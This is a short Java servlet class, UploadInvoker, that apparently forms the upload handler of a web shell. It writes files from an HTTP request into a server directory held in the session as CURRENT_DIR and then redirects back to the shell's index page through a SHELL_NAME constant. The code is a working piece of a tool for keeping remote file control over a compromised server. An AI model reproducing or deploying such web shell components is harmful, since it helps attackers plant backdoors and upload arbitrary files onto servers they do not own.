package com.truthbean.jeetb.utils.web.invoker;

import com.truthbean.jeetb.utils.web.UploadBean;

import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

public class UploadInvoker extends DefaultInvoker {
    public boolean doBefore() {
        return false;
    }

    public boolean doAfter() {
        return false;
    }

    public void invoke(HttpServletRequest request, HttpServletResponse response, HttpSession session) throws Exception {
        try {
            UploadBean fileBean = new UploadBean();
            response.getWriter().println(session.getAttribute(CURRENT_DIR).toString());
            fileBean.setSavePath(session.getAttribute(CURRENT_DIR).toString());
            fileBean.parseRequest(request);
            session.setAttribute(MSG, "Upload File Success!");
            response.sendRedirect(SHELL_NAME + "?o=index");
        } catch (Exception e) {
            e.printStackTrace();
            throw e;
        }
    }
}